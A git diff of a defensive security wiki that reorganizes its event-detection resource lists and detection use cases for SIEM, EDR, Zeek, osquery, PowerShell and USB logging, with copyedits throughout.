Understanding Defender AV event codes and Defender logs + * [Sysmon - Windows Sysinternals | Microsoft Learn](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon) - Breakdown of sysmon logging and reported events. + * [Proxy server logs for incident response](https://www.vanimpe.eu/2016/10/21/proxy-server-logs-incident-response/) - Web Proxy log breakdown + * [Zeek and Windows Logs](https://f.hubspotusercontent00.net/hubfs/8645105/Corelight_May2021/Pdf/002_CORELIGHT_080420_ZEEK_LOGS_US_ONLINE.pdf) - Comparison and correlation of Zeek logs with Windows event logs. * File properties and metadata + * [LOLBAS Project](https://lolbas-project.github.io/) - Living Off The Land Binaries, Scripts and Libraries. A reference for legitimate Windows binaries that can be abused by attackers to download files, execute code, or bypass security controls. * [Strontic xCyclopedia](https://strontic.github.io/xcyclopedia/) - Huge encyclopedia of executables, dll files, scripts, even the file paths they are supposed to be under. Contains tons of metadata, file hashes, reputation scores, handles, and so much more! * [Winbindex](https://winbindex.m417z.com/) - Index of windows binaries with file hash, size, what update it was created with, and many more. Perfect for understanding more on a file. - * [Echotrail.io](https://www.echotrail.io) - A super handy tool that maps windows file to hashes, parent/child process, and much more. Great for determining if a file is really is a windows file, or is behaving in a way that it should. - * [https://www.systemlookup.com/](https://www.systemlookup.com/) - SystemLookup hosts a collection of lists that provide information on the components of legitimate and potentially unwanted programs. - * [https://filesec.io/](https://filesec.io/) - Stay up-to-date with the latest file extensions being used by attackers. + * [Echotrail.io](https://www.echotrail.io) - A super handy tool that maps Windows filenames to hashes, parent/child process, and much more. Great for determining if a file really is a Windows file, or is behaving in a way that it should. + * [FileSec.io](https://filesec.io/) - Stay up-to-date with the latest file extensions being used by attackers. * Misc + * [CyberChef](https://gchq.github.io/CyberChef/) - The "Swiss Army Knife" for decoding and manipulating data. Essential for decoding Base64 strings, URL encoding, or hex dumps found in logs. + * [jq](https://jqlang.github.io/jq/) - A lightweight and flexible command-line JSON processor. Critical for parsing and filtering modern structured logs (like AWS CloudTrail or JSON-formatted syslog) in the terminal. * [Wireshark's MAC address OUI manufacturer lookup](https://gitlab.com/wireshark/wireshark/raw/master/manuf) - * [https://malapi.io/](https://malapi.io/) - Cheatsheet for commands that could be potentially used for malicious activity. + * [MalAPI.io](https://malapi.io/) - Cheatsheet for commands that could be potentially used for malicious activity. * Reference * _BTFM: Log Auditing - pg. 51_ * _Crafting the InfoSec Playbook: Logging Requirements - pg.48_ diff --git a/blue-defense/event-detection/README.md b/blue-defense/event-detection/README.md index 5c07440..59febc1 100644 --- a/blue-defense/event-detection/README.md +++ b/blue-defense/event-detection/README.md @@ -1,175 +1,150 @@ # Event Detection -## **Intro** +Event detection is foundational for security analysts and blue teams. Whether you are building automated alerting or threat hunting, you need to understand what you are looking for, which data source can show it, and how your tooling represents the activity. -Event detection is the bread and butter of the security analyst. Whether you are a blue teamer building automated alerting or a threat hunter looking deeper at the data, it is essential to understand what you are looking for, how to look for it, and what tools can make it easier to find it. One of the best new resources for starting your detection strategy is [https://d3fend.mitre.org/](https://d3fend.mitre.org/). This is a fantastic resource that allows you to create a per task approach to creating detection use cases. +Effective event detection usually requires three things: -For proper event detection, we usually need 3 elements: A device/application that can generate a log relevant to what we are looking for, the log itself, and a collection tool. The device/application that generates the log does not have to be a security device in order to give us security relevant logs. One thing you will find however, is that security relevant devices send us significantly less volume of data, as they are only sending alerts and the information surrounding a detection. When we are looking at logs from non-security related devices, we must develop our own detection logic to pull out what events we deem suspicious from those logs. +* A data source that can observe the behavior. +* A collection path that gets the data into an analysis platform. +* Detection logic that separates suspicious activity from normal noise. -For parsing through logs and organizing them into an easy format, there is a wonderful set of tools called the SIEM: Security Incident and Event Management. With many tools you can look at their data and events directly, but a SIEM allows you to gather all of your logs in one place and parse through them. With them all in one place, you can even correlate activities across your logs. One other big thing that SIEMs can do is help normalize your data. Every type of log is different even if it is the same type if device/application. Example: McAfee AV logs are in a completely different format that MS Defender logs. Well what if your environment has both? Is there an easy way to look at them both at the same time? Yes! Many SIEMs have plugins or apps that can normalize the data into CIM: Common Information Model format. This makes them parsable by your SIEM tools, and much easier to create detection rules around. +This page is the hub for detection engineering resources in the Blue section. Deep dives on threat intelligence, attack surface discovery, deception, YARA, packet analysis, and logging architecture live in their own pages and sections. -## **SIEM and Enrichment** +## Detection Engineering and Standards + +* [Sigma](https://github.com/SigmaHQ/sigma) - Open rule format for log-based detections that can be converted into many SIEM query languages. +* [Elastic Common Schema (ECS)](https://www.elastic.co/guide/en/ecs/current/index.html) - Common field schema for Elasticsearch data. +* [Splunk Common Information Model (CIM)](https://docs.splunk.com/Documentation/CIM/latest/User/Overview) - Splunk's data normalization model for writing searches across similar data sources. +* [MITRE D3FEND](https://d3fend.mitre.org/) - Defensive countermeasure knowledge base that can help structure detection coverage. + +For search syntax and rule language references, use Query Languages. + +{% content-ref url="../query-languages.md" %} +[query-languages.md](../query-languages.md) +{% endcontent-ref %} + +## SIEM and Enrichment + +Use this page for SIEM platforms, enrichment workflows, and tools that add context to security events. {% content-ref url="siem-and-enrichment.md" %} [siem-and-enrichment.md](siem-and-enrichment.md) {% endcontent-ref %} -## **IDS/IPS** +## IDS, IPS, and Network Security Monitoring + +Use this page for Snort, Suricata, Zeek, Security Onion, and network detection rule references. {% content-ref url="ids-ips.md" %} [ids-ips.md](ids-ips.md) {% endcontent-ref %} -## NSM: Network Security Monitoring +For packet capture and protocol analysis, use Packet Analysis. + +{% content-ref url="../packet-analysis.md" %} +[packet-analysis.md](../packet-analysis.md) +{% endcontent-ref %} -For Netflow logs and Packet Capture, please see the following: +For network log collection and architecture, use Logging and Security Architecture. {% content-ref url="../../security-logging/logging-guide-network-services.md" %} [logging-guide-network-services.md](../../security-logging/logging-guide-network-services.md) {% endcontent-ref %} -{% content-ref url="../packet-analysis.md" %} -[packet-analysis.md](../packet-analysis.md) -{% endcontent-ref %} +## Endpoint Detection -* [ZEEK](https://github.com/zeek/zeek) - A departure from traditional signature based detection, ZEEK is a network traffic analysis engine that allows network security monitoring at the application layer event in large networks. This tool was formerly called BRO. - * [Anomalous DNS](https://github.com/jbaggs/anomalous-dns) - A set of ZEEK scripts providing a module for tracking and correlating abnormal DNS behavior. - * [Mitre ATT\&CK's BZAR](https://github.com/mitre-attack/bzar) - A set of ZEEKk scripts to detect ATT\&CK techniques. - * [GQUIC\_Protocol\_Analyzer](https://github.com/salesforce/GQUIC\_Protocol\_Analyzer): GQUIC Protocol Analyzer for ZEEK (Bro) Network Security Monitor - * [ZEEK-agent](https://github.com/zeek/zeek-agent) - An endpoint monitoring agent that provides host activity to ZEEK - * [RDFP](https://github.com/theparanoids/rdfp) - Zeek Remote desktop fingerprinting script based on FATT (Fingerprint All The Things) - * [https://www.pluralsight.com/courses/writing-zeek-rules](https://www.pluralsight.com/courses/writing-zeek-rules) - * [https://github.com/JustinAzoff/bro-pdns](https://github.com/JustinAzoff/bro-pdns) - * _PTFM: Zeek Commands - pg. 168_ - * _Bro - Applied Network Security Monitoring - pg.255fc_ -* [Corelight](https://corelight.com/) - The premium, Enterprise grade, Zeek Alternative. -* [arpwatch](https://www.kali.org/tools/arpwatch/) - Arpwatch maintains a database of Ethernet MAC addresses seen on the network, with their associated IP pairs. Alerts the system administrator via e-mail if any change happens, such as new station/activity, flip-flops, changed and re-used old addresses. -* [maltrail](https://github.com/stamparm/maltrail) - **Maltrail** is a malicious traffic detection system, utilizing publicly available (black)lists containing malicious and/or generally suspicious trails, along with static trails compiled from various AV reports and custom user defined lists, where trail can be anything from domain name (e.g. `zvpprsensinaix.com` for [Banjori](http://www.johannesbader.ch/2015/02/the-dga-of-banjori/) malware), URL (e.g. `hXXp://109.162.38.120/harsh02.exe` for known malicious [executable](https://www.virustotal.com/en/file/61f56f71b0b04b36d3ef0c14bbbc0df431290d93592d5dd6e3fffcc583ec1e12/analysis/)), IP address (e.g. `185.130.5.231` for known attacker) or HTTP User-Agent header value (e.g. `sqlmap` for automatic SQL injection and database takeover tool). Also, it uses (optional) advanced heuristic mechanisms that can help in discovery of unknown threats (e.g. new malware). - -## Endpoint - -### Open Source EDR: Endpoint Detection and Response - -* [OSSEC](https://www.ossec.net/about/) - a scalable, multi-platform, open source Host-based Intrusion Detection System (HIDS) -* [Wazuh](https://github.com/wazuh/wazuh) - Starting as a fork of OSSEC, it was built with more reliability and scalability in mind . It differs from OSSEC in its ability to be integrated with Elastic Stack, a better rule set, and it can use a restful API. File integrity Monitoring, Vulnerability Management, Config Management, Enhances Incident Response, and even an easy to use UI. Wazuh has it all. -* [BlueSpawn](https://github.com/ION28/BLUESPAWN) - EDR + Active Defense tool. Has the ability to interact with OS APIs to actively respond to certain detections in the platform. -* [OpenEDR](https://github.com/ComodoSecurity/openedr) - Comodo security's open source EDR platform. Great community and solid product. -* Aurora - Sigma-based EDR agent - * [https://www.nextron-systems.com/2021/11/13/aurora-sigma-based-edr-agent-preview/](https://www.nextron-systems.com/2021/11/13/aurora-sigma-based-edr-agent-preview/) -* [whids](https://github.com/0xrawsec/whids) - Open Source EDR for Windows - -### [OSQuery ](https://osquery.io/) - -* One of the most advanced endpoint visibility tools on the market. Can be used for File Integrity monitoring, change management, even security endpoint detection. - * [Awesome Lists Collection: OSQuery Resources](https://github.com/sttor/awesome-osquery) - * [OSQuery-extension](https://github.com/trailofbits/osquery-extensions) - OSQuery extensions by Trail of Bits - * [OSQuery-attck](https://github.com/teoseller/osquery-attck) - Mapping the MITRE ATT\&CK Matrix with Osquery - * [OSQuery-configuration](https://github.com/palantir/osquery-configuration): A repository for using osquery for incident detection and response +* [OSSEC](https://www.ossec.net/about/) - A scalable, multi-platform, open-source host-based intrusion detection system. +* [Wazuh](https://github.com/wazuh/wazuh) - OSSEC fork with Elastic integration, improved rules, an API, and a UI. +* [Aurora](https://www.nextron-systems.com/aurora/) - Sigma-based endpoint detection agent from Nextron. +* [osquery](https://osquery.io/) - Endpoint visibility tool that exposes operating system state through SQL. + * [Awesome osquery](https://github.com/sttor/awesome-osquery) + * [Trail of Bits osquery extensions](https://github.com/trailofbits/osquery-extensions) + * [OSQuery ATT&CK](https://github.com/teoseller/osquery-attck) + * [Palantir osquery configuration](https://github.com/palantir/osquery-configuration) * [Introduction to osquery for Threat Detection and DFIR](https://www.rapid7.com/blog/post/2016/05/09/introduction-to-osquery-for-threat-detection-dfir/) * [Using osquery for remote forensics](https://blog.trailofbits.com/2019/05/31/using-osquery-for-remote-forensics/) - * [OSQuery: Incident Response Across the Enterprise.](https://blog.palantir.com/osquery-across-the-enterprise-3c3c9d13ec55) - * OSQuery for Security by Chris Long[ - Part 1](https://medium.com/@clong/osquery-for-security-b66fffdf2daf)[, Part 2](https://medium.com/@clong/osquery-for-security-part-2-2e03de4d3721) - * [osquery-defense-kit](https://github.com/chainguard-dev/osquery-defense-kit) - Production-ready detection & response queries for osquery + * [Osquery: Incident Response Across the Enterprise](https://blog.palantir.com/osquery-across-the-enterprise-3c3c9d13ec55) +* [Velociraptor](https://github.com/Velocidex/velociraptor) - Endpoint visibility and collection tool used in detection, hunting, and response workflows. +* [Hayabusa](https://github.com/Yamato-Security/hayabusa) - Fast Windows event log timeline and threat hunting tool that uses Sigma rules. +* [DeepBlueCLI](https://github.com/sans-blue-team/DeepBlueCLI) - PowerShell tool for detecting suspicious activity in Windows event logs. -### Other Tools +## Cloud and Container Detection -* [Sysdig](https://github.com/draios/sysdig): Linux system exploration and visibility tool -* [ZEEK-agent](https://github.com/zeek/zeek-agent) - An endpoint monitoring agent that provides host activity to ZEEK -* [Veliciraptor](https://github.com/Velocidex/velociraptor) - a tool for collecting host based state information. +* [Falco](https://falco.org/) - Cloud-native runtime security tool for detecting unexpected behavior from Linux system calls. +* [Sysdig](https://github.com/draios/sysdig) - Linux system visibility tool useful for container and host investigation. -## Sysmon +Cloud and container hardening tools belong with device hardening and the platform pages. -{% content-ref url="sysmon.md" %} -[sysmon.md](sysmon.md) +{% content-ref url="../device-hardening/" %} +[device-hardening](../device-hardening/) {% endcontent-ref %} -## Fingerprinting - -* Fingerprint Databases - * [SSL Fingerprint JA3](https://ja3er.com/) - * [TLSfingerprint.io](https://tlsfingerprint.io/) - * [https://sslbl.abuse.ch/ja3-fingerprints/](https://sslbl.abuse.ch/ja3-fingerprints/) - * [https://github.com/trisulnsm/ja3prints](https://github.com/trisulnsm/ja3prints) -* [JA3](https://github.com/salesforce/ja3) - A method for creating SSL/TLS client fingerprints that should be easy to produce on any platform and can be easily shared for threat intelligence. - * Sales Force Guide: \* READ FIRST\* - [TLS Fingerprinting with JA3 and JA3S](https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967) - * [Open Sourcing JA3. SSL/TLS Client Fingerprinting](https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41) - * [RDP Fingerprinting. Profiling RDP Clients with JA3 and RDFP](https://medium.com/@0x4d31/rdp-client-fingerprinting-9e7ac219f7f4) - * [Effective TLS Fingerprinting Beyond JA3](https://www.ntop.org/ndpi/effective-tls-fingerprinting-beyond-ja3/) -* [HASSH](https://github.com/salesforce/hassh) - A network fingerprinting standard which can be used to identify specific Client and Server SSH implementations. The fingerprints can be easily stored, searched and shared in the form of a small MD5 fingerprint. -* [FATT: Fingerprint All The Things](https://github.com/0x4D31/fatt) -A pyshark based script for extracting network metadata and fingerprints from pcap files and live network traffic -* [RDFP](https://github.com/theparanoids/rdfp) - Zeek Remote desktop fingerprinting script based on FATT (Fingerprint All The Things) -* [Recog](https://github.com/rapid7/recog) - A framework for identifying products, services, operating systems, and hardware by matching fingerprints against data returned from various network probes. Recog makes it simple to extract useful information from web server banners, snmp system description fields, and a whole lot more. - -## Attack Surface Monitoring and Asset Discovery - -* [Awesome Lists Collection: Asset Discovery](https://github.com/redhuntlabs/Awesome-Asset-Discovery) -* [https://cheatsheetseries.owasp.org/cheatsheets/Attack\_Surface\_Analysis\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Attack\_Surface\_Analysis\_Cheat\_Sheet.html) - -### [Amass](https://github.com/OWASP/Amass) - -The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques. +{% content-ref url="../../containers.md" %} +[containers.md](../../containers.md) +{% endcontent-ref %} -* Hakluke's Amass Guide - [https://medium.com/@hakluke/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7](https://medium.com/@hakluke/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7) -* Dionach's Amass Guide - [https://www.dionach.com/blog/how-to-use-owasp-amass-an-extensive-tutorial/](https://www.dionach.com/blog/how-to-use-owasp-amass-an-extensive-tutorial/) -* [https://www.youtube.com/watch?v=mEQnVkSG19M](https://www.youtube.com/watch?v=mEQnVkSG19M) +## Sysmon -### [projectdiscovery.io](https://projectdiscovery.io/#/) +Use this page for Sysmon configuration, event IDs, and related tooling. - Collection of open source tools for attack surface management or Bug Bounties. +{% content-ref url="sysmon.md" %} +[sysmon.md](sysmon.md) +{% endcontent-ref %} -* [nuclei](https://github.com/projectdiscovery/nuclei) - Fast and customizable vulnerability scanner based on simple YAML based DSL. - * [https://github.com/projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - * [https://github.com/projectdiscovery/nuclei-docs](https://github.com/projectdiscovery/nuclei-docs) -* [subfinder](https://github.com/projectdiscovery/subfinder) - Subfinder is a subdomain discovery tool that discovers valid subdomains for websites. Designed as a passive framework to be useful for bug bounties and safe for penetration testing. -* [naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests -* [httpx](https://github.com/projectdiscovery/httpx) - httpx is a fast and multi-purpose HTTP toolkit allows to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads. -* [proxify](https://github.com/projectdiscovery/proxify) - Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation, and replay on the go. -* [dnsx](https://github.com/projectdiscovery/dnsx) - dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. +## Detection Use Cases -### Other tools +Use these pages for practical detection ideas by protocol, log type, and behavior category. -* [Intrigue](https://github.com/intrigueio/intrigue-core) - Intrigue Core is a framework for discovering attack surface. It discovers security-relevant assets and exposures within the context of projects and can be used with a human-in-the-loop running individual tasks, and/or automated through the use of workflows. -* [Odin](https://github.com/chrismaddalena/ODIN) - ODIN is Python tool for automating intelligence gathering, asset discovery, and reporting. -* [AttackSurfaceMapper](https://github.com/superhedgy/AttackSurfaceMapper) - AttackSurfaceMapper (ASM) is a reconnaissance tool that uses a mixture of open source intelligence and active techniques to expand the attack surface of your target. You feed in a mixture of one or more domains, subdomains and IP addresses and it uses numerous techniques to find more targets. -* [Goby](https://github.com/gobysec/Goby) - **Goby** is a new generation network security assessment tool. It can efficiently and practically scan vulnerabilities while sorting out the most complete attack surface information for a target enterprise. - * [https://gobies.org/](https://gobies.org/) -* [Asnip](https://github.com/harleo/asnip) - Asnip retrieves all IPs of a target organization—used for attack surface mapping in reconnaissance phases. -* [Microsoft Attack Surface Analyzer](https://github.com/Microsoft/AttackSurfaceAnalyzer) - Attack Surface Analyzer is a [Microsoft](https://github.com/microsoft/) developed open source security tool that analyzes the attack surface of a target system and reports on potential security vulnerabilities introduced during the installation of software or system misconfiguration. -* [https://securitytrails.com/](https://securitytrails.com/) - Powerful tools for third-party risk, attack surface management, and total intel -* [https://www.whoisxmlapi.com/](https://www.whoisxmlapi.com/) - Domain & IP Data Intelligence for Greater Enterprise Security -* [https://www.riskiq.com/](https://www.riskiq.com/) - RiskIQ Digital Footprint gives complete visibility beyond the firewall. Unlike scanners and IP-dependent data vendors, RiskIQ Digital Footprint is the only solution with composite intelligence, code-level discovery and automated threat detection and exposure monitoring—security intelligence mapped to your attack surface. -* [https://dehashed.com/](https://dehashed.com/) - Scan domain for indicators found in breaches +{% content-ref url="detection-use-cases/" %} +[detection-use-cases](detection-use-cases/) +{% endcontent-ref %} -### Network Diffing +## Related Sections -A simple but effective monitoring method, where regular port scans are run and then compared to previous scan results. This can be handy for detecting newly open ports on scanned devices. This action can be easily and quickly performed by [Masscan](https://github.com/robertdavidgraham/masscan). +Some resources are useful to detection teams but belong in other buckets: -* _The Hacker Playbook 3: Monitoring an Environment - pg.24_ +* Threat intelligence platforms, feeds, enrichment sources, and reputation lookups live in Cyber Intelligence. -## User Behavior Analytics +{% content-ref url="../../cyber-intelligence/" %} +[cyber-intelligence](../../cyber-intelligence/) +{% endcontent-ref %} -* [OpenUBA](https://github.com/GACWR/OpenUBA) - A robust, and flexible open source User & Entity Behavior Analytics (UEBA) framework used for Security Analytics. Developed with luv by Data Scientists & Security Analysts from the Cyber Security Industry. - * [https://openuba.org/](https://openuba.org/) +* Attack surface discovery and active reconnaissance tools live in Red Offensive. -## File Integrity Monitoring +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -The actions needed to setup persistence typically require the attacker to interact with the target machine like creating or modifying a file. This gives defenders the opportunity to catch them if we are able to lookout for file creation or modification related to special files of directories. +* Deception, honeypots, and canary tokens live in Active Defense. -* [AuditBeat's FIM](https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file\_integrity.html) -* [auditd](https://www.redhat.com/sysadmin/configure-linux-auditing-auditd) -* [Wazuh's FIM](https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html) +{% content-ref url="../active-defense.md" %} +[active-defense.md](../active-defense.md) +{% endcontent-ref %} -## Misc Tools +* YARA authoring, Loki, malware scanning, and file analysis live in DFIR. -* [SAGAN](https://github.com/quadrantsec/sagan) - An open source (GNU/GPLv2) high performance, real-time log analysis & correlation engine that can be used with popular IDS tools and rules sets like Surricata and SNORT. -* [RITA](https://github.com/activecm/rita) - A tool that scans ZEEK logs for beaconing detection and DNS tunneling. -* [Flare](https://github.com/austin-taylor/flare) - Not to be confused with the malware reverse engineering VM, This Flare is a network analysis tool by Austin Taylor that can take logs from Elastic stack and Surricate and perform various types of nework analysis and detection, including beaconing detection. -* [Revoke-Obfuscation](https://github.com/danielbohannon/Revoke-Obfuscation) - Powershell obfuscation detection tool -* [dnstwist](https://github.com/elceef/dnstwist) - Tool for creation of potential typo-squatting domains by use of multi-character permutation and checking for registration of those domains. - * [https://dnstwister.report/](https://dnstwister.report/) - Online Version and DNS monitoring service +{% content-ref url="../../dfir-digital-forensics-and-incident-response/yara.md" %} +[yara.md](../../dfir-digital-forensics-and-incident-response/yara.md) +{% endcontent-ref %} -## **Detection Use Cases** +* JA3, HASSH, FATT, RITA, and other network fingerprinting or beaconing analysis resources live in Packet Analysis. -{% content-ref url="detection-use-cases/" %} -[detection-use-cases](detection-use-cases/) +{% content-ref url="../packet-analysis.md" %} +[packet-analysis.md](../packet-analysis.md) {% endcontent-ref %} + +## Deprecated / Archived Projects + +These tools were widely used or referenced in the past but are now unmaintained, archived, or superseded. They remain here for historical context. + +* [BlueSpawn](https://github.com/ION28/BLUESPAWN) - EDR and active defense tool. Inactive/dormant. +* [Intrigue Core](https://github.com/intrigueio/intrigue-core) - Former attack surface discovery framework, archived after the Mandiant/Google Cloud acquisition. +* [Revoke-Obfuscation](https://github.com/danielbohannon/Revoke-Obfuscation) - PowerShell obfuscation detection research tool. +* [Flare](https://github.com/austin-taylor/flare) - Unmaintained network analysis tool for Elastic Stack. +* [OpenUBA](https://github.com/GACWR/OpenUBA) - Unmaintained user and entity behavior analytics framework. +* [OpenEDR](https://github.com/ComodoSecurity/openedr) - Open-source EDR monitoring project that appears inactive. +* [whids](https://github.com/0xrawsec/whids) - Open-source EDR for Windows. Unmaintained. +* [ODIN](https://github.com/chrismaddalena/ODIN) - Automated intelligence gathering tool. Unmaintained. +* [Asnip](https://github.com/harleo/asnip) - Attack surface mapping tool. Unmaintained. +* [AttackSurfaceMapper](https://github.com/superhedgy/AttackSurfaceMapper) - Reconnaissance tool. Unmaintained. +* [GQUIC Protocol Analyzer](https://github.com/salesforce/GQUIC_Protocol_Analyzer) - Obsolete; Zeek now includes native [QUIC support](https://docs.zeek.org/en/current/scripts/base/protocols/quic/index.html). diff --git a/blue-defense/event-detection/detection-use-cases/README.md b/blue-defense/event-detection/detection-use-cases/README.md index 032b74d..5558825 100644 --- a/blue-defense/event-detection/detection-use-cases/README.md +++ b/blue-defense/event-detection/detection-use-cases/README.md @@ -1,6 +1,6 @@ # Detection Use Cases -While many security products have built in detection use cases, there will always be situations where a custom detection use case will need to be developed. In order to create a successful use cases, we need to have a few key elements. +While many security products have built-in detection use cases, there will always be situations where a custom detection use case must be developed. In order to create a successful use case, we need to have a few key elements. ## Theory @@ -19,7 +19,7 @@ The first step in building a use case is the theory behind it. While the protoco The most effective security monitoring programs, undergo a constant state of tuning and refinement. This allows the highest degree of detection while not overwhelming your analysts with alerts to investigate. High volumes of false positives are typically either a poorly written rule, or noise in your environment that needs to be tuned out. All alerts should have a set of exclusions that should be placed within the use case logic to accommodate any known issues, and therefore not create an alert on those circumstances. -Sometimes you will have to perform a cost benefit analysis on each use case. Is there value in spending gobs of time on every port scan alert you receive? That is up to you. (You shoudnt) +Sometimes you will have to perform a cost-benefit analysis on each use case. Is there value in spending a large amount of time on every port scan alert you receive? That is up to you, but in most environments the answer is no. ## Detection Guides @@ -44,9 +44,15 @@ Sometimes you will have to perform a cost benefit analysis on each use case. Is [windows-event-id-logging-list.md](windows-event-id-logging-list.md) {% endcontent-ref %} +For SIEM query languages and detection rule syntax, use the Query Languages page. + +{% content-ref url="../../query-languages.md" %} +[query-languages.md](../../query-languages.md) +{% endcontent-ref %} + ## **Detection Use Case Collections** -If you ever want to take the easy way of development, and simply purchase search rules or copy some that are existing on other platforms, there are a few places available on the web. Many poopular SIEMs have sets of rules included in the software. For more, please review the Event Detection section. +If you want to start from existing searches, many SIEMs include rule packs and several communities publish detection content. Treat these as starting points: test them against your data, tune them for your environment, and document any assumptions. * [sigma/rules at master · SigmaHQ/sigma · GitHub](https://github.com/SigmaHQ/sigma/tree/master/rules) * [https://github.com/elastic/protections-artifacts](https://github.com/elastic/protections-artifacts) diff --git a/blue-defense/event-detection/detection-use-cases/authentication-logon.md b/blue-defense/event-detection/detection-use-cases/authentication-logon.md index 3d997a7..e76bdf1 100644 --- a/blue-defense/event-detection/detection-use-cases/authentication-logon.md +++ b/blue-defense/event-detection/detection-use-cases/authentication-logon.md @@ -31,10 +31,16 @@ * AND * NOT Logon Type = 7 (device unlock) * AND - * EventID 4624 OR EventID 4624 + * EventID 4624 * AND * Logon Type = 7 (device unlock) NOT within the past 24 hours +For Windows Event ID references used by this page, see: + +{% content-ref url="windows-event-id-logging-list.md" %} +[windows-event-id-logging-list.md](windows-event-id-logging-list.md) +{% endcontent-ref %} + **Anonymous Impersonation level** * Theory diff --git a/blue-defense/event-detection/detection-use-cases/command-line.md b/blue-defense/event-detection/detection-use-cases/command-line.md index c740946..b8153f9 100644 --- a/blue-defense/event-detection/detection-use-cases/command-line.md +++ b/blue-defense/event-detection/detection-use-cases/command-line.md @@ -65,7 +65,7 @@ * Logging of Event ID 400 * Logic * Where - * EventID 400 Occcurs + * EventID 400 occurs * AND * EngineVersion!=5.0 or newer. * Reference @@ -75,7 +75,7 @@ * Theory * There are certain strings that can be used to detect certain types of activity that is either unwanted or should be monitored due to the context of the string. * "wmi" commands may be used internally, however they are a favorite for attackers exploiting a system. Filter and monitor its use. - * "DLL" commandlets should always be monitored, as there are no built-in commandlets containing "DLL" in thier name. + * "DLL" cmdlets should always be monitored, as there are no built-in cmdlets containing "DLL" in their name. * Detection Requirements * Command Line Logging * Logging of Event IDs 4103 and/or 4104, 4105, and 4106 @@ -90,6 +90,12 @@ * Reference * [https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/](https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/) +For Windows Event ID references used by this page, see: + +{% content-ref url="windows-event-id-logging-list.md" %} +[windows-event-id-logging-list.md](windows-event-id-logging-list.md) +{% endcontent-ref %} + **Powershell cmdlet long tail analysis** * Theory diff --git a/blue-defense/event-detection/detection-use-cases/detection-use-cases.md b/blue-defense/event-detection/detection-use-cases/detection-use-cases.md index 2a23107..a9dd0c2 100644 --- a/blue-defense/event-detection/detection-use-cases/detection-use-cases.md +++ b/blue-defense/event-detection/detection-use-cases/detection-use-cases.md @@ -23,10 +23,10 @@ * .bashrc and .bash\_profile changes * _PTFM: Bash changes- pg. 90 (Requires Bash File Audit)_ * PrivEsc Detection - * UAC Bypas + * UAC Bypass * _PTFM: UAC Bypass via Event Viewer - pg. 34 (Requires Registry Changes)_ * _PTFM: UAC Bypass via fodhelper.exe - pg. 34 (Requires Registry Changes)_ - * Poorly configed Cron Jobs + * Poorly configured Cron Jobs * _PTFM: Poorly configured Cron Jobs - pg. 96_ * Mimikatz Use * Operator Handbook: Detect Mimikatz - pg.207 diff --git a/blue-defense/event-detection/detection-use-cases/dns.md b/blue-defense/event-detection/detection-use-cases/dns.md index 2bf9bf2..61e7fa3 100644 --- a/blue-defense/event-detection/detection-use-cases/dns.md +++ b/blue-defense/event-detection/detection-use-cases/dns.md @@ -31,3 +31,13 @@ description: Detection, Enrichment, and Use cases * Direct out connection detection * There are very few instances that outbound traffic will not have a DNS entry. This will occur when an application or malware is reaching out to a hard-coded IP address and does not make a DNS request. By matching outbound traffic with DNS requests, and looking for all of those that do not show in the DNS entry, we can detect this activity. * Exceptions can include Microsoft IP addresses, CDN addresses like Akamai, Root DNS server addresses, and functions of specific vendor tools. Will require white listing. + +For domain investigation, passive DNS, and enrichment tools such as dnstwist and domain reputation lookups, use the OSINT and Threat Data pages. + +{% content-ref url="../../../cyber-intelligence/osint/domain.md" %} +[domain.md](../../../cyber-intelligence/osint/domain.md) +{% endcontent-ref %} + +{% content-ref url="../../../cyber-intelligence/threat-data.md" %} +[threat-data.md](../../../cyber-intelligence/threat-data.md) +{% endcontent-ref %} diff --git a/blue-defense/event-detection/detection-use-cases/endpoint.md b/blue-defense/event-detection/detection-use-cases/endpoint.md index 27b85ba..4d43ca5 100644 --- a/blue-defense/event-detection/detection-use-cases/endpoint.md +++ b/blue-defense/event-detection/detection-use-cases/endpoint.md @@ -8,7 +8,7 @@ * USB connections will create new events in the System log when connection, but not removed or plugged in a second time, by default. * Detection Requirements * Logging of EventID 2003, 2010, 2100, and 2101 - * Enable Event IDs in the Microsoft\Windows\DriverFrameworks-UserMode Operations Channel to detect ALL USB plug and unplug events, not just the first time (Defualt). Will add device serial and unique session to log data. + * Enable Event IDs in the Microsoft\Windows\DriverFrameworks-UserMode Operations Channel to detect all USB plug and unplug events, not just the first time (default). This will add device serial and unique session data to log records. * Default is to be disabled * Enable with Powershell @@ -19,7 +19,7 @@ * `$log.IsEnabled=$true # change to $false if disabling` * `$log.SaveChanges()` - * \*Optional\* -[ NirSoft USBDeview](https://www.nirsoft.net/utils/usb\_devices\_view.html) tool can run regularly and export details USB logs to a CSV file for lookup and ingest. Power shell can be used to invoke the tool and create a Windows Event from it as well. + * \*Optional\* - [NirSoft USBDeview](https://www.nirsoft.net/utils/usb\_devices\_view.html) can run regularly and export USB details to a CSV file for lookup and ingest. PowerShell can invoke the tool and create a Windows event from the output. * Logic 1 - Windows USB Insertion events * Where * These events occur in succession with the same device @@ -66,7 +66,7 @@ * AND * The service name has a high entropy value * Reference - * 